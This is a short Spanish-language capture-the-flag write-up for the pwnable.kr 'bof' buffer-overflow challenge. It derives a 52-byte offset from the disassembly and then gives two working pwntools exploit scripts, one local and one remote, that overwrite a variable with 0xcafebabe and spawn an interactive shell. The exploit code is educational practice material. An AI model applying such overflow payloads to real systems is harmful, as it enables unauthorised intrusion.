Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?.
Para esta prueba es un overflow, veamos la primera parte.
Se puede observar que gets ocupa 44 bytes, pero en el código menciona que son 32, y es cierto, son 32 bytes, porque al inicio podemos observa como se toma de ebp-0xc = 12 decimal y en gets 0x2c = 44 si hacemos la operacion serian 2c-c = (0x20 - 32 decimal).
Pero de 0x20 + 0x14 de ebp son 0x34 -> 52 decimal que es el espacio tomado para hacer un smash, ¿cómo lo podemos comprobar?.



observemos el buffer, 0xffffd040 (0xdeadbeef) - 0xffffd00c (0x41414141) = 0x34 -> 52 decimal
ahora hay que poner atencion en esto, por alguna razon python3 no funciona muy bien, aparece el mensaje de smash detectado y python2 ya está casi en desuso pero no me funciona, así que utilizaremos pwn para quitarnos de problemas.
from pwn import *
p = process('./bof')
payload = 'A' * 52
payload += '\xbe\xba\xfe\xca'
p.send(payload)
p.interactive()

from pwn import *
p = remote('pwnable.kr', 9000)
payload = 'A' * 52
payload += '\xbe\xba\xfe\xca'
p.send(payload)
p.interactive()
Listo.